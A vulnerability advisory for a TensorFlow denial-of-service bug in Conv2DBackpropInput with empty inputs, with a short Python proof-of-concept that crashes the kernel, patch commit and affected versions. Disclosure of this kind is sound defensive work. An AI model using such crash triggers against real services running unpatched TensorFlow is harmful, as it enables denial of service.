PT-2026-59711
Published
2026-07-09
·
Updated
2026-07-09
Description by
CVSS 3.1
5.9
MediumMetricsAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Impact
When
Conv2DBackpropInput receives empty out backprop inputs (e.g. [3, 1, 0, 1]), the current CPU/GPU kernels CHECK fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack.python
import tensorflow as tf
import numpy as np
input sizes = [3, 1, 1, 2]
filter = np.ones([1, 3, 2, 3])
out backprop = np.ones([3, 1, 0, 3])
strides = [1, 1, 2, 1]
padding = 'VALID'
tf.raw ops.Conv2DBackpropInput(
input sizes = input sizes,
filter = filter,
out backprop = out backprop,
strides = strides,
padding = padding
)Patches
We have patched the issue in GitHub commit 27a65a43cf763897fecfa5cdb5cc653fc5dd0346.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Jingyi Shi.
Exploitability
Fix
Vendors
Affected products
Related identifiers
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